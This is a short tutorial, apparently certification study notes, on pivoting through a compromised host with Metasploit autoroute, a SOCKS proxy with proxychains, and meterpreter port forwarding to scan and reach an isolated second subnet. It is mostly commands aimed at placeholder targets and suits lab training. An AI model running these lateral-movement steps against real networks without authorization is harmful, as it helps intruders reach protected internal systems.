Skip to content
Home

Pivoting: reach isolated subnets through a compromised host

Use Metasploit autoroute and proxychains to scan and exploit targets only reachable through a pivot machine.

msfconsole·1 min read··INE Certification

Pivoting lets you attack a network segment that isn’t directly reachable from your machine, by routing traffic through a host you’ve already compromised. The pattern is: get a meterpreter session on Target 1, identify networks this machine can reach, then route your tools through that session to hit Target 2.

Step 1: identify reachable subnets on the pivot host

# From the meterpreter session on Target 1:
ipconfig        # Windows
ifconfig        # Linux
# Look for network interfaces with non-attacker IPs as those are all different subnets

Step 2: add a route through the session

run autoroute -s <target2_subnet>/<cidr>      # e.g. run autoroute -s 10.2.16.0/20
background                                     # put session in background

route          # verify the route was added to MSF's routing table

Step 3a: scan Target 2 using MSF modules

# When we try to run modules on Target 2 metasploit will automatically use the route we created because it will detect that Target 2 is on that subnet
use auxiliary/scanner/portscan/tcp
set RHOSTS <target2_ip>
set PORTS 1-100
run

Step 3b: use proxychains to run non-MSF tools through the pivot

# Load the SOCKS proxy inside msfconsole
use auxiliary/server/socks_proxy
set SRVPORT 9050
set VERSION 4a          # match version in /etc/proxychains4.conf
run
jobs                    # confirm it's running

# Check proxychains config
cat /etc/proxychains4.conf   # should show socks4/socks5 with port 9050

# Run any tool through the proxy
proxychains nmap <target2_ip> -sT -Pn -sV -p 445,80,22
proxychains ssh user@<target2_ip>

Step 4: port forwarding

# From the session on Target1:
portfwd add -l 1234 -p 80 -r <target2_ip>     # forwards Target 2:80 → localhost:1234
# Now: curl http://localhost:1234 hits Target2's port 80

db_nmap -sV -p 1234 localhost    # scan localhost:1234 to fingerprint the forwarded service